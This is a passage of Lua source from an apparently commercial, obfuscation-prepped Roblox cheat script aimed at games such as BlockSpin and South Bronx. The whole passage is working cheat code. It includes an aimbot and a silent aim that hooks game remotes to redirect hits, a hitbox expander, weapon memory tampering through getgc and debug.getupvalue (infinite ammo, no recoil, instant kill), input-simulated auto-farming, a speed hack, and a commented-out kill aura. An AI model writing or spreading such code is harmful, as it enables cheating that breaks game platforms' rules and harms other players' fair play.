        RunService:BindToRenderStep("Functions",math.huge,LPH_NO_VIRTUALIZE(function()
            if Config.Silent.Mode == "Always" then
                Config.Silent.Targetting = true;
            end;
        
            local MouseLocation = UserInputService:GetMouseLocation()

            if (not LocalPlayer) or (not LocalPlayer.Character) or (not LocalPlayer.Character:FindFirstChild("Humanoid")) then
                return                
            end;

            if not TargetTable[1] then
                TargetTable[1] = GetClosestPlayerToMouseAimbot();
            end;

            if (TargetTable[1] and TargetTable[1].Character and TargetTable[1].Character:FindFirstChild("Humanoid") and TargetTable[1].Character:FindFirstChild("Humanoid").Health == 0) then
                TargetTable[1] = nil
            end
            
            local Target = TargetTable[1]
            if (Config.Aimlock.Enabled and Config.Aimlock.Aiming and Config.Aimlock.Type == "Mouse") and (Target and Target.Character and Target.Character:FindFirstChild(Config.Aimlock.TargetPart)) then
                local TargetPosition = Target.Character:FindFirstChild(Config.Aimlock.TargetPart).Position;
                local Result, OnScreen = Camera:WorldToScreenPoint(TargetPosition);
                if OnScreen then
                    Move_Mouse_Function(Vector2.new(Result.X - Mouse.X, Result.Y - Mouse.Y).X / (Config.Aimlock.Smoothness+1) , Vector2.new(Result.X - Mouse.X, Result.Y - Mouse.Y).Y / (Config.Aimlock.Smoothness + 1));
                end
            elseif (Config.Aimlock.Enabled and Config.Aimlock.Aiming and Config.Aimlock.Type == "Camera") and (Target and Target.Character and Target.Character:FindFirstChild(Config.Aimlock.TargetPart)) then
                local Smoothness = Config.Aimlock.Smoothness * 10;
                Camera.CFrame = Camera.CFrame:Lerp(CFrame.new(Camera.CFrame.p, Target.Character:FindFirstChild(Config.Aimlock.TargetPart).Position), (100 - Smoothness) / 100);
            end;
        
            SilentTarget = GetClosestPlayerToMouseSilent()
            local AimlockTarget = TargetTable[1]

            AimbotFieldOfView.Visible = Config.Aimlock.Enabled and Config.Aimlock.DrawFieldOfView and Config.Aimlock.UseFieldOfView
            AimbotFieldOfView.Radius = Config.Aimlock.Radius
            AimbotFieldOfView.Color = Config.Aimlock.FieldOfViewColor
            AimbotFieldOfView.NumSides = Config.Aimlock.Sides
            AimbotFieldOfView.Position = MouseLocation
            AimbotFieldOfView.NumSides = Config.Aimlock.Sides
            AimbotFieldOfViewOutline.NumSides = Config.Aimlock.Sides
            AimbotFieldOfViewOutline.Radius = AimbotFieldOfView.Radius
            AimbotFieldOfViewOutline.Position = AimbotFieldOfView.Position
            AimbotFieldOfViewOutline.Visible = AimbotFieldOfView.Visible

            AimbotFieldOfViewFill.Visible = AimbotFieldOfView.Visible
            AimbotFieldOfViewFill.NumSides = AimbotFieldOfView.NumSides
            AimbotFieldOfViewFill.Color = AimbotFieldOfView.Color
            AimbotFieldOfViewFill.Radius = AimbotFieldOfView.Radius
            AimbotFieldOfViewFill.Position = AimbotFieldOfView.Position
            AimbotFieldOfViewFill.Transparency = Config.Aimlock.FieldOfViewTransparency

            SilentFieldOfView.Visible = Config.Silent.Enabled and Config.Silent.UseFieldOfView and Config.Silent.DrawFieldOfView
            SilentFieldOfView.Radius = Config.Silent.Radius
            SilentFieldOfView.NumSides = Config.Silent.Sides
            SilentFieldOfView.Color = Config.Silent.FieldOfViewColor
            SilentFieldOfView.NumSides = Config.Silent.Sides
            SilentFieldOfView.Position = MouseLocation

            SilentFieldOfViewFill.Visible = SilentFieldOfView.Visible
            SilentFieldOfViewFill.NumSides = SilentFieldOfView.NumSides
            SilentFieldOfViewFill.Color = SilentFieldOfView.Color
            SilentFieldOfViewFill.Radius = SilentFieldOfView.Radius
            SilentFieldOfViewFill.Position = SilentFieldOfView.Position
            SilentFieldOfViewFill.Transparency = Config.Silent.FieldOfViewTransparency

            SilentFieldOfViewOutline.NumSides = Config.Silent.Sides
            SilentFieldOfViewOutline.Position = SilentFieldOfView.Position
            SilentFieldOfViewOutline.Visible = SilentFieldOfView.Visible
            SilentFieldOfViewOutline.Radius = SilentFieldOfView.Radius

            SilentSnapline.Visible = (Config.Silent.Enabled == true) and (Config.Silent.Targetting == true) and Config.Silent.Snapline and (SilentTarget ~= nil)
            SilentSnapline.Color = Config.Silent.SnaplineColor
            SilentSnapline.Thickness = Config.Silent.SnaplineThickness;
            SilentSnaplineOutline.Thickness = Config.Silent.SnaplineThickness + 2
            SilentSnaplineOutline.Visible = SilentSnapline.Visible

            AimbotSnapline.Color = Config.Aimlock.SnaplineColor
            AimbotSnapline.Visible = (Config.Aimlock.Enabled == true) and (Config.Aimlock.Aiming == true) and Config.Aimlock.Snapline and (AimlockTarget ~= nil)
            AimbotSnapline.Thickness = Config.Aimlock.SnaplineThickness;
            AimbotSnaplineOutline.Thickness = Config.Aimlock.SnaplineThickness + 2
            AimbotSnaplineOutline.Visible = AimbotSnapline.Visible

            if (not SilentTarget or not SilentTarget.Character or not SilentTarget.Character:FindFirstChild("Head")) then
                SilentSnapline.Visible = false
            end;

            if (not AimlockTarget or not AimlockTarget.Character or not AimlockTarget.Character:FindFirstChild(Config.Aimlock.TargetPart)) then
                AimbotSnapline.Visible = false
            end;

            local _Part = "Head"

            if SilentTarget and SilentTarget.Character and SilentTarget.Character:FindFirstChild(_Part) then
                local SilentPosition, OnScreen = Camera:WorldToViewportPoint(SilentTarget.Character:FindFirstChild(_Part).Position)

                SilentSnapline.Visible = (Config.Silent.Snapline and SilentTarget and OnScreen)
                SilentSnapline.Visible = SilentSnapline.Visible

                if (SilentSnapline.Visible and OnScreen) then
                    SilentSnapline.From = MouseLocation
                    SilentSnaplineOutline.From = SilentSnapline.From

                    SilentSnapline.To = Vector2.new(SilentPosition.X, SilentPosition.Y)
                    SilentSnaplineOutline.To = SilentSnapline.To
                end;
            end;

            if AimlockTarget and AimlockTarget.Character and AimlockTarget.Character:FindFirstChild(Config.Aimlock.TargetPart) then
                local AimlockPosition, OnScreen = Camera:WorldToViewportPoint(AimlockTarget.Character:FindFirstChild(Config.Aimlock.TargetPart).Position)

                AimbotSnapline.Visible = (Config.Aimlock.Snapline and AimlockTarget and OnScreen)
                AimbotSnaplineOutline.Visible = AimbotSnapline.Visible

                if (AimbotSnapline.Visible and OnScreen) then
                    AimbotSnapline.From = MouseLocation
                    AimbotSnaplineOutline.From = AimbotSnapline.From

                    AimbotSnapline.To = Vector2.new(AimlockPosition.X, AimlockPosition.Y)
                    AimbotSnaplineOutline.To = AimbotSnapline.To
                end;
            end;
        end));

        if not LocalPlayer.Character then
            LocalPlayer.CharacterAdded:Wait()
        end

        local ConnectHitboxToPlayer = function(Player)
            task.spawn(LPH_NO_VIRTUALIZE(function()
                while (Player ~= nil) and task.wait(0.25) do
                    if not Player.Character then continue end
                    if Player.Character then
                        if not Player.Character:FindFirstChild("HumanoidRootPart") or not Player.Character:FindFirstChild("Humanoid") then
                            continue
                        end

                        if not Player.Character:FindFirstChild("Head") or not Player.Character:FindFirstChild("Humanoid") then
                            continue
                        end

                        local HumanoidRootPart, Head, Humanoid = Player.Character:FindFirstChild("HumanoidRootPart"), Player.Character:FindFirstChild("Head"), Player.Character:FindFirstChild("Humanoid")

                        if Humanoid.Sit and not DefaultPlayerSettings[Player.Name] then continue end

                        if not DefaultPlayerSettings[Player.Name] then
                            DefaultPlayerSettings[Player.Name] = {}
                            DefaultPlayerSettings[Player.Name].HeadSettings = {}
                            DefaultPlayerSettings[Player.Name].RootSettings = {}

                            DefaultPlayerSettings[Player.Name].HeadSettings.Size = Head.Size
                            DefaultPlayerSettings[Player.Name].HeadSettings.Color = Head.Color
                            DefaultPlayerSettings[Player.Name].HeadSettings.Massless = Head.Massless
                            DefaultPlayerSettings[Player.Name].HeadSettings.CanCollide = Head.CanCollide
                            DefaultPlayerSettings[Player.Name].HeadSettings.Material = Head.Material
                            DefaultPlayerSettings[Player.Name].HeadSettings.Transparency = Head.Transparency

                            DefaultPlayerSettings[Player.Name].RootSettings.Size = HumanoidRootPart.Size
                            DefaultPlayerSettings[Player.Name].RootSettings.Color = HumanoidRootPart.Color
                            DefaultPlayerSettings[Player.Name].RootSettings.Massless = HumanoidRootPart.Massless
                            DefaultPlayerSettings[Player.Name].RootSettings.CanCollide = HumanoidRootPart.CanCollide
                            DefaultPlayerSettings[Player.Name].RootSettings.Material = HumanoidRootPart.Material
                            DefaultPlayerSettings[Player.Name].RootSettings.Transparency = HumanoidRootPart.Transparency
                            DefaultPlayerSettings[Player.Name].RootSettings.Shape = HumanoidRootPart.Shape
                        end

                        if not Config.MiscSettings.Hitbox_Expander.Enabled or Humanoid.Sit or Humanoid.Health == 0 or table.find(library.whitelist, Player.Name) then
                            for Index, Value in DefaultPlayerSettings[Player.Name].RootSettings do
                                HumanoidRootPart[Index] = Value
                            end

                            for Index, Value in DefaultPlayerSettings[Player.Name].HeadSettings do
                                Head[Index] = Value
                            end

                            if Head:FindFirstChild("MeshPart") then
                                Head.Mesh.MeshId = "rbxassetid://8635368421"
                            end

                            continue
                        end

                        if Config.MiscSettings.Hitbox_Expander.Part == "Head" and Config.MiscSettings.Hitbox_Expander.Enabled then
                            for Index, Value in DefaultPlayerSettings[Player.Name].RootSettings do
                                HumanoidRootPart[Index] = Value
                            end
                        end

                        if Config.MiscSettings.Hitbox_Expander.Part == "HumanoidRootPart" and Config.MiscSettings.Hitbox_Expander.Enabled then
                            for Index, Value in DefaultPlayerSettings[Player.Name].HeadSettings do
                                Head[Index] = Value
                            end

                            if Head:FindFirstChild("MeshPart") then
                                Head.Mesh.MeshId = "rbxassetid://8635368421"
                            end
                        end

                        if Config.MiscSettings.Hitbox_Expander.Part == "Head" then
                            if Config.MiscSettings.Hitbox_Expander.Enabled and Humanoid.Health ~= 0 then
                                Head.Size = Vector3.new(Config.MiscSettings.Hitbox_Expander.Multiplier, Config.MiscSettings.Hitbox_Expander.Multiplier, Config.MiscSettings.Hitbox_Expander.Multiplier)
                                Head.Transparency = Config.MiscSettings.Hitbox_Expander.Transparency
                                Head.Material = Enum.Material[Config.MiscSettings.Hitbox_Expander.Material]
                                Head.Color = Config.MiscSettings.Hitbox_Expander.Color
                                Head.CanCollide = not DefaultPlayerSettings[Player.Name].HeadSettings.CanCollide
                                Head.Massless = not DefaultPlayerSettings[Player.Name].HeadSettings.Massless

                                if Head:FindFirstChild("MeshPart") then
                                    Head.Mesh.MeshId = ""
                                end
                            end
                        else
                            if Config.MiscSettings.Hitbox_Expander.Enabled and Humanoid.Health ~= 0 then
                                HumanoidRootPart.Size = Vector3.new(Config.MiscSettings.Hitbox_Expander.Multiplier, Config.MiscSettings.Hitbox_Expander.Multiplier, Config.MiscSettings.Hitbox_Expander.Multiplier)
                                HumanoidRootPart.Transparency = Config.MiscSettings.Hitbox_Expander.Transparency
                                HumanoidRootPart.Material = Enum.Material[Config.MiscSettings.Hitbox_Expander.Material]
                                HumanoidRootPart.Shape = Enum.PartType[Config.MiscSettings.Hitbox_Expander.Type]
                                HumanoidRootPart.Color = Config.MiscSettings.Hitbox_Expander.Color
                                HumanoidRootPart.CanCollide = not DefaultPlayerSettings[Player.Name].RootSettings.CanCollide
                            end
                        end
                    end
                end
            end))
        end

        for Index, Value in Players:GetPlayers() do
            if Value == LocalPlayer then continue end;
            if Game_Name == "South Bronx" then continue end
            if Game_Name == "Criminality" then continue end
            if Game_Name == "Universal" then continue end
            if Game_Name == "BlockSpin" then continue end

            ConnectHitboxToPlayer(Value)
        end

        Players.PlayerAdded:Connect(function(Value)
            if Game_Name == "South Bronx" then return end
            if Game_Name == "Criminality" then return end
            if Game_Name == "Universal" then return end
            if Game_Name == "BlockSpin" then return end

            ConnectHitboxToPlayer(Value)
        end)

        --local StaminaRegen, MaxStamina = LocalPlayer:GetAttribute("StaminaRegen"), LocalPlayer:GetAttribute("MaxStamina")

        if Game_Name == "BlockSpin" then
            --[[local Set_Stamina = false;

            RunService.PreRender:Connect(LPH_NO_VIRTUALIZE(function()
                if Config.BlockSpin.LocalPlayer.InfiniteStamina then
                    Set_Stamina = false
                    LocalPlayer:SetAttribute("StaminaRegen", math.huge)
                    LocalPlayer:SetAttribute("MaxStamina", math.huge)
                else
                    if not Set_Stamina then
                        Set_Stamina = true
                        LocalPlayer:SetAttribute("StaminaRegen", StaminaRegen)
                        LocalPlayer:SetAttribute("MaxStamina", MaxStamina)
                    end
                end
            end))]]

            local _Send; _Send = hookfunction(Send_Remote, LPH_NO_VIRTUALIZE(function(...)
                local Arguments = {...}

                if Arguments[1] == "throw_hit" then
                    if not Config.Silent.Enabled then
                        return _Send(...)
                    end

                    if checkcaller() or not SilentTarget or not (mathrandom(0, 100) <= Config.Silent.HitChance) then
                        return _Send(...)
                    end

                    local RandomPart = Config.Silent.TargetPart[1] and Config.Silent.TargetPart[math.random(1, #Config.Silent.TargetPart)] or "Head"

                    local TargetPart = SilentTarget.Character:FindFirstChild(RandomPart)

                    if not SilentTarget.Character or not TargetPart then
                        return _Send(...)
                    end

                    Arguments[3] = TargetPart
                    Arguments[4] = TargetPart.CFrame
                end

                return _Send(unpack(Arguments))
            end))

            local PressKey = function(KeyCode, Duration)
                task.spawn(function()
                    VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
                    VirtualInputManager:SendKeyEvent(true, KeyCode, false, game)
                    task.wait(Duration)
                    VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
                end)
            end

            local Get_Puddle = LPH_NO_VIRTUALIZE(function()
                local CurrentPuddle, MaxDistance, BestPath = nil, math.huge, nil

                for _, v in ipairs(Workspace.Map.Tiles.BurgerPlaceTile.BurgerPlace.Interior.Puddles:GetChildren()) do
                    if v:IsA("BasePart") and v.Parent and (v.Name == "SmallPuddle" or v.Name == "LargePuddle") and v.Size.X >= 1 and v.Size.Z >= 1 and (v.Position - Vector3.new(150, 253, -250)).Magnitude > 3 then
                        local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
                        if not hrp then continue end

                        local Path = Services.PathfindingService:CreatePath({
                            AgentRadius = 1,
                            AgentHeight = 4,
                            AgentCanJump = false,
                            AgentCanClimb = true,
                        })

                        local targetPos = v.Position + Vector3.new(0, 2, 0)
                        Path:ComputeAsync(hrp.Position, targetPos)

                        if Path.Status ~= Enum.PathStatus.NoPath then
                            local dist = (hrp.Position - v.Position).Magnitude
                            if dist < MaxDistance then
                                CurrentPuddle = v
                                MaxDistance = dist
                                BestPath = Path
                            end
                        end
                    end
                end

                return CurrentPuddle, BestPath
            end)


            local Mop_FarmThread

            Start_MopFarm = function()
                Mop_FarmThread = task.spawn(LPH_JIT_MAX(function()
                    while task.wait(1) do
                        if not Config.BlockSpin.AutoFarming.FarmMops then continue end

                        local character = LocalPlayer.Character
                        local humanoid = character and character:FindFirstChild("Humanoid")
                        local hrp = character and character:FindFirstChild("HumanoidRootPart")

                        if not humanoid or humanoid.Health <= 0 or not hrp then continue end

                        local puddle, path = Get_Puddle()

                        if not puddle or not puddle:IsDescendantOf(game) or puddle.Size.X < 1 or puddle.Size.Z < 1 or not path or path.Status == Enum.PathStatus.NoPath then
                            continue
                        end

                        VirtualInputManager:SendKeyEvent(true, Enum.KeyCode.LeftShift, false, game)
                        local waypoints = path:GetWaypoints()

                        if not puddle or not puddle:IsDescendantOf(game) or puddle.Size.X < 1 or puddle.Size.Z < 1 or not path or path.Status == Enum.PathStatus.NoPath then
                            continue
                        end

                        local default_time = puddle.Name == "SmallPuddle" and 5 or puddle.Name == "LargePuddle" and 10

                        default_time = 
                            (Config.BlockSpin.AutoFarming.MopType == "Default" and default_time) or
                            (Config.BlockSpin.AutoFarming.MopType == "Silver" and default_time * 0.8) or
                            (Config.BlockSpin.AutoFarming.MopType == "Gold" and default_time * 0.7) or
                            (Config.BlockSpin.AutoFarming.MopType == "Diamond" and default_time * 0.6) or
                            default_time

                        for index, waypoint in ipairs(waypoints) do
                            humanoid:MoveTo(waypoint.Position)
                            humanoid.MoveToFinished:Wait()

                            if not puddle:IsDescendantOf(game) or puddle.Size.X < 1 or puddle.Size.Z < 1 then
                                break
                            end

                            if index == #waypoints then
                                VirtualInputManager:SendKeyEvent(false, Enum.KeyCode.LeftShift, false, game)
                                PressKey(Enum.KeyCode.W, 0.1)
                                task.wait(default_time + 0.25)
                            end
                        end
                    end
                end))
            end


            Stop_MopFarm = LPH_NO_VIRTUALIZE(function()
                if not Mop_FarmThread then return end
                if coroutine.status(Mop_FarmThread) == "suspended" then
                    task.cancel(Mop_FarmThread)
                end
            end)

            LocalPlayer.CharacterAdded:Connect(LPH_NO_VIRTUALIZE(function()
                if Mop_FarmThread then
                    Stop_MopFarm()
                end
            end))
        end

        if Game_Name == "South Bronx" then
            if not Solara then
                CurrentGunHeld = nil;

                local OldWeaponValues = {}

                local GetAllTools = LPH_NO_VIRTUALIZE(function()
                    local Result = {}
        
                    for _, Value in next, {LocalPlayer.Backpack, LocalPlayer.Character ~= nil and LocalPlayer.Character} do
                        if type(Value) == "userdata" then
                            for _, _Value in next, Value:GetChildren() do
                                if _Value:IsA("Tool") and _Value:FindFirstChild("Setting") then
                                    Result[#Result + 1] = _Value
                                end
                            end
                        end
                    end
        
                    return Result
                end)

                local ReloadFunction = nil
                
                for Index, Value in getgc(true) do
                    if not (type(Value) == "function") then continue end
                    
                    local Function_Info = debug.getinfo(Value)
                
                    if tostring(Function_Info.name) == "Reload" then
                        ReloadFunction = Value
                    end
                end

                local RefreshReloadFunction = LPH_NO_VIRTUALIZE(function()
                    for Index, Value in getgc() do
                        if typeof(Value) == 'function' then
                            local Function_Info = debug.getinfo(Value)
                        
                            if tostring(Function_Info.name) == "Reload" then
                                ReloadFunction = Value
                            end
                        end
                    end
                end)

                local GetSettings = LPH_NO_VIRTUALIZE(function(Weapon)
                    local Settings = {}

                    for i,v in debug.getupvalue(ReloadFunction, 3) do
                        if i ~= Weapon then continue end

                        Settings = v
                        break
                    end

                    return Settings
                end)

                local GetPercentage = LPH_NO_VIRTUALIZE(function(DefaultValue, NewValue)
                    NewValue = math.max(0, math.min(100, NewValue))
            
                    local newRecoil = DefaultValue * (NewValue / 100)
                
                    return newRecoil
                end)
            
                local ModWeapon = LPH_JIT_MAX(function(Weapon)
                    if type(Weapon) ~= "userdata" then return end
                    if not Weapon:IsA("Tool") then return end
                    if not Weapon:FindFirstChild("Setting") then return end
            
                    local Module = GetSettings(Weapon)
                    local ModuleSettings = rawget(Module, "Module")
                    local OldConfig = OldWeaponValues[Weapon.Name]
            
                    task.spawn(function()
                        local Success, Error = pcall(LPH_NO_VIRTUALIZE(function()
                            task.wait(0.05)
                            if Module == nil or ModuleSettings == nil then
                                RefreshReloadFunction()
            
                                if ReloadFunction == nil then
                                    return
                                end
            
                                Module = GetSettings(Weapon)
                                ModuleSettings = rawget(Module, "Module")
                            end
            
                            if ModuleSettings == nil or Module == nil then
                                return
                            end
            
                            setreadonly(Module, false)
                            setreadonly(ModuleSettings, false)
                        
                            if SetInfiniteAmmo == nil then
                                SetInfiniteAmmo = true
                            end
            
                            if SetInfiniteClips == nil then
                                SetInfiniteClips = true
                            end
                            
                            --[[if Config.South_Bronx._Modifications.InfiniteAmmo then
                                Module.Mag = Config.South_Bronx._Modifications.InfiniteAmmo and math.huge or OldConfig.Ammo
            
                                SetInfiniteAmmo = false
                            end
            
                            if Config.South_Bronx._Modifications.InfiniteAmmo == false and SetInfiniteAmmo == false then
                                Module.Mag = OldConfig.MaxAmmo / 2
                                SetInfiniteAmmo = true
                            end]]
            
                            --[[if Config.South_Bronx._Modifications.InfiniteClips then
                                Module.Ammo = Config.South_Bronx._Modifications.InfiniteClips and 999999 or OldConfig.MaxAmmo
            
                                SetInfiniteClips = false
                            end]]
            
                            if Config.South_Bronx._Modifications.InfiniteClips == false and SetInfiniteClips == false then
                                Module.Ammo = OldConfig.MaxAmmo
                                SetInfiniteClips = true
                            end
            
                            if ModuleSettings.LimitedAmmoEnabled then
                                ModuleSettings.LimitedAmmoEnabled = Config.South_Bronx._Modifications.InfiniteAmmo and false or OldConfig.LimitedAmmoEnabled
                            end
            
                            task.spawn(function()
                                while Weapon ~= nil and LocalPlayer.Character ~= nil and Weapon.Parent == LocalPlayer.Character and Module ~= nil and ModuleSettings ~= nil and ModuleSettings.FireRate ~= nil and task.wait(.1) do
                                    if Config.South_Bronx._Modifications.DisableJamming then
                                        rawset(Module, "Jam", false)
                                        rawset(Module, "Canshoot", true)
                                    end

                                    if Config.South_Bronx._Modifications.InfiniteAmmo then
                                        Module.Mag = OldConfig.AmmoPerMag
                                    end
                                end
                            end)
            
                            ModuleSettings.FireRate = Config.South_Bronx._Modifications.ModifyFireRate and GetPercentage(OldConfig.FireRate, Config.South_Bronx._Modifications.FireRateSpeed) or OldConfig.FireRate
                            
                            ModuleSettings.ReloadTime = Config.South_Bronx._Modifications.ModifyReloadSpeed and GetPercentage(OldConfig.ReloadTime, Config.South_Bronx._Modifications.ReloadSpeed) or OldConfig.ReloadTime
                            ModuleSettings.TacticalReloadTime = Config.South_Bronx._Modifications.ModifyReloadSpeed and GetPercentage(OldConfig.TacticalReloadTime, Config.South_Bronx._Modifications.ReloadSpeed) or OldConfig.TacticalReloadTime
                            
                            ModuleSettings.EquippingTime = Config.South_Bronx._Modifications.ModifyEquipSpeed and GetPercentage(OldConfig.EquippingTime, Config.South_Bronx._Modifications.EquipSpeed) or OldConfig.EquippingTime
                            
                            ModuleSettings.SpreadX = Config.South_Bronx._Modifications.ModifySpreadValue and GetPercentage(OldConfig.SpreadX, Config.South_Bronx._Modifications.SpreadPercentage) or OldConfig.SpreadX
                            ModuleSettings.SpreadY = Config.South_Bronx._Modifications.ModifySpreadValue and GetPercentage(OldConfig.SpreadY, Config.South_Bronx._Modifications.SpreadPercentage) or OldConfig.SpreadY
            
                            ModuleSettings.Recoil = Config.South_Bronx._Modifications.ModifyRecoilValue and GetPercentage(OldConfig.Recoil, Config.South_Bronx._Modifications.RecoilPercentage) or OldConfig.Recoil
            
                            ModuleSettings.ShotgunEnabled = Config.South_Bronx._Modifications.InstantKill and true or OldConfig.ShotgunEnabled
            
                            ModuleSettings.Auto = Config.South_Bronx._Modifications.Automatic or OldConfig.Auto
                        
                            ModuleSettings.JamChance = Config.South_Bronx._Modifications.DisableJamming and 0 or OldConfig.JamChance
                        end))
            
                        if not Success and Error ~= nil then
                            warn("[GUN MOD ERROR] :", Error)
                        end
                    end)
                end)

                local ModWeapons = LPH_NO_VIRTUALIZE(function()
                    for _, Weapon in next, GetAllTools() do
                        if Weapon:IsA("Tool") then
                            ModWeapon(Weapon)
                        end
                    end
                end)

                local SetValues = LPH_NO_VIRTUALIZE(function()
                    for _, Weapon in next, GetAllTools() do
                        if Weapon:IsA("Tool") then
                            local Module = Weapon:FindFirstChildOfClass("ModuleScript")

                            if Module and Module.Name == "Setting" then
                                Module = require(Module)
                            end

                            if type(Module) == "table" and not OldWeaponValues[Weapon.Name] then
                                OldWeaponValues[Weapon.Name] = {}

                                local OldConfig = OldWeaponValues[Weapon.Name]

                                for Index, Value in next, Module do
                                    OldConfig[Index] = Value
                                end
                            end
                        end
                    end
                end)

                if not LocalPlayer.Character then LocalPlayer.CharacterAdded:Wait() end

                LocalPlayer.Character.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Weapon)
                    if not Weapon:IsA("Tool") then return end

                    if Weapon:FindFirstChild("Setting") then
                        CurrentGunHeld = Weapon
                    end

                    SetValues(); ModWeapon(Weapon);
                end))

                LocalPlayer.Backpack.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Weapon)
                    if not Weapon:IsA("Tool") then return end
                    
                    if Weapon:FindFirstChild("Setting") then
                        CurrentGunHeld = Weapon
                    end

                    SetValues(); ModWeapon(Weapon);
                end))

                LocalPlayer.CharacterAdded:Connect(function(Character)
                    Character.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Weapon)
                        if not Weapon:IsA("Tool") then return end

                        if Weapon:FindFirstChild("Setting") then
                            CurrentGunHeld = Weapon
                        end
        
                        SetValues(); ModWeapon(Weapon);
                    end))
        
                    LocalPlayer.Backpack.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Weapon)
                        if not Weapon:IsA("Tool") then return end

                        if Weapon:FindFirstChild("Setting") then
                            CurrentGunHeld = Weapon
                        end

                        SetValues(); ModWeapon(Weapon);
                    end))
                end)

                local ConfigMetatable = getmetatable(Config.South_Bronx.Modifications)

                ConfigMetatable.__index = LPH_NO_VIRTUALIZE(function(...)
                    return Config.South_Bronx._Modifications[select(2, ...)]
                end)
        
                ConfigMetatable.__newindex = LPH_NO_VIRTUALIZE(function(...)
                    local Index, Value = select(2, ...)
        
                    Config.South_Bronx._Modifications[Index] = Value; ModWeapons()
                end)

                --[[local OldGunSettingsHook ; OldGunSettingsHook = hookmetamethod(game, "__namecall", LPH_NO_VIRTUALIZE(function(Self, ...)
                    if CurrentGunHeld == nil then
                        return OldGunSettingsHook(Self, ...)
                    end

                    if getnamecallmethod() == "FireServer" or getnamecallmethod() == "InvokeServer" and CurrentGunHeld then
                        local Arguments = {...}
            
                        for Index, Value in Arguments do
                            if typeof(Value) == "table" and rawget(Value , "Ammo") then
                                Value = OldWeaponValues[CurrentGunHeld.Name]
                                
                                return OldGunSettingsHook(Self, unpack(Arguments))
                            end
                        end
                    end
                    
                    return OldGunSettingsHook(Self, ...)
                end))
            
                local OldMagAndAmmo; OldMagAndAmmo = hookmetamethod(game, "__namecall", LPH_NO_VIRTUALIZE(function(Self, ...)
                    if CurrentGunHeld == nil then
                        return OldMagAndAmmo(Self, ...)
                    end
                    
                    if getnamecallmethod() == "FireServer" or getnamecallmethod() == "InvokeServer" and tostring(Self) == "ChangeMagAndAmmo" and (Config.South_Bronx._Modifications.InfiniteAmmo or Config.South_Bronx._Modifications.InfiniteClips) then
                        local Arguments = {...}
            
                        if Config.South_Bronx._Modifications.InfiniteAmmo then
                            Arguments[2] = OldWeaponValues[CurrentGunHeld.Name].AmmoPerMag
                        end
            
                        return OldMagAndAmmo(Self, unpack(Arguments))
                    end
            
                    return OldMagAndAmmo(Self, ...)
                end))]]
            end

            --[[if not Solara then
                local DeleteChatPlayer = LPH_NO_VIRTUALIZE(function(Player)
                    if Player.Character then
                        local Head = Player.Character:FindFirstChild("Head")
                        if Head then
                            if Head:FindFirstChild("chatpart") then
                                Head:FindFirstChild("chatpart"):Destroy()
                            end
                        end
                    end

                    Player.CharacterAdded:Connect(function(Character)
                        Character:WaitForChild("Head")

                        Character.Head:WaitForChild("chatpart"):Destroy()
                    end)
                end)

                for Index, Value in Players:GetPlayers() do
                    if Value == LocalPlayer then continue end

                    DeleteChatPlayer(Value)
                end

                Players.PlayerAdded:Connect(DeleteChatPlayer)
            end]]

            --[[local FireFunc, FireFuncs = LPH_NO_VIRTUALIZE(function(...)
                return ...
            end), {}

            local RefreshFireFunc = LPH_NO_VIRTUALIZE(function()
                for Index, Value in getgc() do
                    if typeof(Value) == "function" then
                        local Info = debug.getinfo(Value)
                        if Info.source == string.format("=Players.%s.PlayerScripts.Main.Modules.GunScript_Local", LocalPlayer.Name) and not table.find(FireFuncs, Value) then
                            FireFunc = Value
                            table.insert(FireFuncs, FireFunc)
                        end
                    end
                end
            end)

            RefreshFireFunc()

            LocalPlayer.CharacterAdded:Connect(LPH_NO_VIRTUALIZE(function()
                task.wait(5)
                RefreshFireFunc()
            end))

            ShootPlayer = LPH_NO_VIRTUALIZE(function(Player)
                if not LocalPlayer.Character then 
                    return 
                end

                if not LocalPlayer.Character:FindFirstChildOfClass("Tool") then
                    return
                end

                local Tool = LocalPlayer.Character:FindFirstChildOfClass("Tool"); local Handle = Tool:FindFirstChild("Handle")

                if not Tool:FindFirstChild("Settings") then
                    return
                end

                if not Players:FindFirstChild(Player) then
                    return
                end

                local Player = Players:FindFirstChild(Player)

                if not Player.Character or not Player.Character:FindFirstChild("Head") or not Player.Character:FindFirstChild("Humanoid") or Player.Character:FindFirstChild("Humanoid"):GetState() == Enum.HumanoidStateType.Dead then
                    return
                end

                if not FireFunc then
                    RefreshFireFunc()
                end

                print("Fired")

                FireFunc(Tool, Handle, Player.Character:FindFirstChild("Head").Position)
            end)

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while task.wait(0.1) do
                    if not Config.South_Bronx.KillAura then continue end
                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChildOfClass("Tool") or not LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("Setting") then continue end
                    for Index, Value in Players:GetPlayers() do
                        if table.find(Config.South_Bronx.KillAuraWhitelist, tostring(Value)) then continue end
                        if Value == LocalPlayer then continue end
                        if not Value.Character or not Value.Character:FindFirstChildOfClass("Humanoid") or not Value.Character:FindFirstChild("HumanoidRootPart") then continue end
                        if Value.Character:FindFirstChildOfClass("Humanoid").Health == 0 then continue end
                        if Value.Character:FindFirstChildOfClass("ForceField") then continue end

                        if not DistanceCheck(Value, Config.South_Bronx.KillAuraRange) then continue end

                        ShootPlayer(Value.Name)
                    end
                end
            end))]]

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while true do
                    local Delta = RunService.Heartbeat:Wait()

                    if not Config.South_Bronx.LocalPlayer_Config.Speed then continue end

                    if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") then
                        local Humanoid = LocalPlayer.Character:FindFirstChild("Humanoid")

                        if Humanoid.MoveDirection.Magnitude > 0 then
                            local SpeedFactor = (Humanoid.WalkSpeed >= 10) and 1 or 0.54
                            LocalPlayer.Character:TranslateBy(
                                Humanoid.MoveDirection * Config.South_Bronx.LocalPlayer_Config.SpeedValue 
                                * Delta * 10 * SpeedFactor
                            )
                        end
                    end
                end
            end))

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while task.wait() do
                    if not Config.South_Bronx.PlayerUtilities.BringingPlayer then continue end
